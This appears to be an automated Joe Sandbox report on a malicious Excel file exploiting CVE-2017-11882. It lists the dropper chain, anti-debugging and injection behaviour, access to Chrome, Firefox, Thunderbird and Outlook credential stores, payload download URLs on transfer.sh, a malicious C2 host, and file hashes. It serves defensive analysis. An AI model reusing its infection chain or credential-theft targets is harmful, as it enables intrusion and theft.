
graph_5-3480

Source: word.exe, 00000005.00000002.987697073.00000000005E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00402489 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_00402489

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00407856 __decode_pointer,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,__encode_pointer,InterlockedExchange,FreeLibrary,

6_2_00407856

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_0040B8DB CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

6_2_0040B8DB

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674D4B mov edx, dword ptr fs:[00000030h]	2_2_03674D4B
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0024005F mov eax, dword ptr fs:[00000030h]	6_2_0024005F
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0024013E mov eax, dword ptr fs:[00000030h]	6_2_0024013E
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00240109 mov eax, dword ptr fs:[00000030h]	6_2_00240109
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0024017B mov eax, dword ptr fs:[00000030h]	6_2_0024017B

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0040C003 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0040C003
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00402489 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00402489
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00403689 SetUnhandledExceptionFilter,	6_2_00403689
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_004057A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_004057A2

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\lyebkz.exe protection: execute and read and write

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe C:\Users\user\AppData\Local\Temp\lyebkz.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	6_2_0040F063
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoW,	6_2_0040C824
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	6_2_0040C83D
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	6_2_0040D0F3
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	6_2_0040C8A7
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_0040F150
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	6_2_0040795E
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: _strlen,EnumSystemLocalesA,	6_2_0040F127
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_0040C9E6
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	6_2_0040F1F3
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_0040F1B7
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoA,	6_2_00413A47
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_0040CA52
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	6_2_0040D34B
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	6_2_0040EC6E
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoA,	6_2_00413CDB
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	6_2_0040ED85
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	6_2_0040D611
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	6_2_0040EE1D
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	6_2_0040EE91

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00404922 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00404922

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00412F46 __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

6_2_00412F46

Source: C:\Users\user\AppData\Roaming\word.exe

5_2_00403640

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	1 Access Token Manipulation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Scripting	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	12 Native API	Logon Script (Windows)	Logon Script (Windows)	1 Scripting	Security Account Manager	118 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	341 Security Software Discovery	SSH	1 Clipboard Data	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Modify Registry	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	111 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PURCHASE ORDER & SAMPLE IMAGE.xlsx	56%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
PURCHASE ORDER & SAMPLE IMAGE.xlsx	60%	Virustotal		Browse
PURCHASE ORDER & SAMPLE IMAGE.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe	36%	ReversingLabs	Win32.Trojan.Nemesis
C:\Users\user\AppData\Roaming\word.exe	36%	ReversingLabs	Win32.Trojan.Nemesis

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.word.exe.29a6a1b.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api4.ipify.org	64.185.227.155	true	false	high
transfer.sh	144.76.136.153	true	false	high
box.aosxer.com	5.249.163.12	true	true	unknown
api.ipify.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.ipify.org/	false	high
http://transfer.sh/get/I9BcJI/maxdyn2.1.exe	false	high
https://transfer.sh/get/I9BcJI/maxdyn2.1.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false		high
http://transfer.sh/get/I9BcJI/maxdyn2.1.exemWDt	EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://transfer.sh/9	EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://transfer.sh/get/I9BcJ	EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://transfer.sh/xe	EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	word.exe, 00000005.00000000.974627109.000000000040A000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, maxdyn2.1[1].exe.2.dr	false		high
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false		high
http://transfer.sh/get/I9BcJI/maxdyn2.1.exeyWDt	EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
64.185.227.155	api4.ipify.org	United States	18450	WEBNXUS	false
5.249.163.12	box.aosxer.com	Sweden	42708	PORTLANEwwwportlanecomSE	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	786424
Start date and time:	2023-01-18 09:12:19 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PURCHASE ORDER & SAMPLE IMAGE.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@8/12@9/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 95.5% (good quality ratio 92.6%) Quality average: 86.6% Quality standard deviation: 22.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 52 Number of non-executed functions: 44
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:13:40	API Interceptor	242x Sleep call for process: EQNEDT32.EXE modified
09:13:55	API Interceptor	869x Sleep call for process: lyebkz.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
144.76.136.153	RFQ-BT5004423.doc	Get hash	malicious	Browse	transfer.sh/get/mGCQGV/gstallabt4.2.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16955.24932.rtf	Get hash	malicious	Browse	transfer.sh/get/8LtEmv/mwele.exe
	pvv6dLm4nj.exe	Get hash	malicious	Browse	transfer.sh/get/SFHHxF/gru3xt3b.exe
	Quote List.doc	Get hash	malicious	Browse	transfer.sh/get/4KPgdY/mcland2.1.exe
	100112414_221209.doc	Get hash	malicious	Browse	transfer.sh/get/iqb7h3/noicnneland.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.3863.8720.rtf	Get hash	malicious	Browse	transfer.sh/get/vO3WhH/nulight2.1.exe
	PO-AM2207586.xlsx	Get hash	malicious	Browse	transfer.sh/get/Xszsf2/fgc4.exe
	1.exe	Get hash	malicious	Browse	transfer.sh/get/b02fuU/Ikwtsw_Dlwusohh.jpg
	BZfApQSvig.exe	Get hash	malicious	Browse	transfer.sh/get/mv2A8U/Jpacuhx_Ytbwopcz.png
	l5LVNukfQm.exe	Get hash	malicious	Browse	transfer.sh/get/2bMMvr/Ftqhdpj_Dwbqyzci.jpg
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	file.exe	Get hash	malicious	Browse	transfer.sh/get/EBgWOR/Jhkgft_Cptucfoi.bmp
	86503807.exe	Get hash	malicious	Browse	transfer.sh/get/Fh5qw1/Yviliqfen.log
	24982297.exe	Get hash	malicious	Browse	transfer.sh/get/7l55ti/Yqheqrnit.png
	67259493.exe	Get hash	malicious	Browse	transfer.sh/get/sP0JXy/12.png
	89085041.exe	Get hash	malicious	Browse	transfer.sh/get/TaUSBQ/Tzdtprkp.log
	11286208.exe	Get hash	malicious	Browse	transfer.sh/get/1KEmBC/Odhxu.jpg
	tXDPyCfwcY.exe	Get hash	malicious	Browse	transfer.sh/get/fvp22f/Aiebe.jpg
	4G5k6vDDlx.exe	Get hash	malicious	Browse	transfer.sh/get/a9xgDe/Gudsp.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api4.ipify.org	e-dekont20230116.exe	Get hash	malicious	Browse	64.185.227.155
	EDD.CA.Form.html	Get hash	malicious	Browse	64.185.227.155
	FedEx Receipt_AWB# 1022355167663.exe	Get hash	malicious	Browse	64.185.227.155
	swift_AAT_C20032244_17-01-2023.exe	Get hash	malicious	Browse	64.185.227.155
	SecuriteInfo.com.Trojan.GenericKD.65029319.28303.7499.exe	Get hash	malicious	Browse	64.185.227.155
	1Y5EXyqPIr.exe	Get hash	malicious	Browse	64.185.227.155
	sLXZJY51v7.exe	Get hash	malicious	Browse	64.185.227.155
	Payment Advice.html	Get hash	malicious	Browse	64.185.227.155
	SecuriteInfo.com.Win32.PWSX-gen.18384.24229.exe	Get hash	malicious	Browse	64.185.227.155
	file.exe	Get hash	malicious	Browse	64.185.227.155
	RFQs.exe	Get hash	malicious	Browse	64.185.227.155
	Remittance copy.exe	Get hash	malicious	Browse	64.185.227.155
	DHL Receipt_AWB8114704847178.exe	Get hash	malicious	Browse	64.185.227.155
	FedEx Receipt_AWB114704847178.exe	Get hash	malicious	Browse	64.185.227.155
	ABJ.bat	Get hash	malicious	Browse	64.185.227.155
	SecuriteInfo.com.Gen.Variant.Nemesis.1808.20904.11024.exe	Get hash	malicious	Browse	64.185.227.155
	SecuriteInfo.com.Trojan.PWS.Siggen3.25352.5095.31471.exe	Get hash	malicious	Browse	64.185.227.155
	Final Payment 7news.shtml	Get hash	malicious	Browse	104.237.62.211
	K0XmTyabPq.exe	Get hash	malicious	Browse	64.185.227.155
	Order_#TSL0094668937.exe	Get hash	malicious	Browse	64.185.227.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	prog.apk	Get hash	malicious	Browse	144.76.58.8
	file.exe	Get hash	malicious	Browse	95.217.49.230
	ACC70EB94782931AB5F817A91B3C4CEDF4C3077FB497A.exe	Get hash	malicious	Browse	148.251.234.93
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	how long can a landlord leave you without air-conditioning in florida 83948.js	Get hash	malicious	Browse	148.251.66.29
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	https://anydesk.com/en/downloads/windows?dv=win_exe	Get hash	malicious	Browse	159.69.19.197
	file.exe	Get hash	malicious	Browse	95.217.49.230
	file.exe	Get hash	malicious	Browse	95.217.49.230
	N0pq5eqonB.dll	Get hash	malicious	Browse	78.47.204.80

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	http://deb.cl	Get hash	malicious	Browse	144.76.136.153
	Ref.No.FISGM1096.doc	Get hash	malicious	Browse	144.76.136.153
	#U25b6#Ud83d#Udd18#U2500#U2500027-msg-62423.htm	Get hash	malicious	Browse	144.76.136.153
	RFQ-BT5004423.doc	Get hash	malicious	Browse	144.76.136.153
	TinaWalter_Documents.docx.doc	Get hash	malicious	Browse	144.76.136.153
	Scanned9343256.docm	Get hash	malicious	Browse	144.76.136.153
	ACH WlRE REMlTTANCE DETAILS.xlsx	Get hash	malicious	Browse	144.76.136.153
	ACH WlRE REMlTTANCE DETAILS.xlsx	Get hash	malicious	Browse	144.76.136.153
	ACH WlRE REMlTTANCE DETAILS.xlsx	Get hash	malicious	Browse	144.76.136.153
	ACH WlRE REMlTTANCE DETAILS.xlsx	Get hash	malicious	Browse	144.76.136.153
	https://lmsox.blob.core.windows.net/kilow/trial.html?sp=r&st=2023-01-10T19:25:15Z&se=2023-02-08T03:25:15Z&spr=https&sv=2021-06-08&sr=b&sig=Si38Dhkq%2F5OcCGnpOVTmS5ySMjvIhIMGarcjfeESPeQ%3D	Get hash	malicious	Browse	144.76.136.153
	RFQ 4828321.doc	Get hash	malicious	Browse	144.76.136.153
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.13594.1348.rtf	Get hash	malicious	Browse	144.76.136.153
	SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.30184.11585.rtf	Get hash	malicious	Browse	144.76.136.153
	772461.xls	Get hash	malicious	Browse	144.76.136.153
	490436.xls	Get hash	malicious	Browse	144.76.136.153
	64bit.exe	Get hash	malicious	Browse	144.76.136.153
	64bit.exe	Get hash	malicious	Browse	144.76.136.153
	ACH REMlTTANCE_C0PY.xlsx	Get hash	malicious	Browse	144.76.136.153
	https://www.bing.com/ck/a?!&&p=d3d52e65447c66ebJmltdHM9MTY3MzIyMjQwMCZpZ3VpZD0wMTM3YWY2Mi1jNzAwLTZlYjYtMTA1Yi1iZGViYzY4YjZmNmYmaW5zaWQ9NTE2MQ&ptn=3&hsh=3&fclid=0137af62-c700-6eb6-105b-bdebc68b6f6f&u=a1aHR0cHM6Ly9jcmVhdGl2ZW1lZGlhc29sdXRpb25zLm9yZy8&ntb=1?zc=matt@o3.solutions	Get hash	malicious	Browse	144.76.136.153

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	437857
Entropy (8bit):	7.111056886494438
Encrypted:	false
SSDEEP:	6144:WYa60xbEUHi5vD/IaOHPAhsYOUWlgV75xPV/i+wgn2eMmVdbDyr4L43hTHL:WYCxtY7/83YPPF/i+wwDMm3yr48Tr
MD5:	1CEC9C1FA633D554029A6402174612D1
SHA1:	E1E78DA0AA4693520428D567C33A3A84FE921D28
SHA-256:	FA5CE3B72762CCAD4365AC01E3B6ADFE7864B8D4065D5C7FFA266865746A4706
SHA-512:	064E23A151A88922A84F03EF110AAC9641C42651AD53FC5BCD807EF4751209FB281D5DFED718FF58D7462B75E1EBA93EE9EE173336D280092B43F04585412A1B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 36%
Reputation:	low
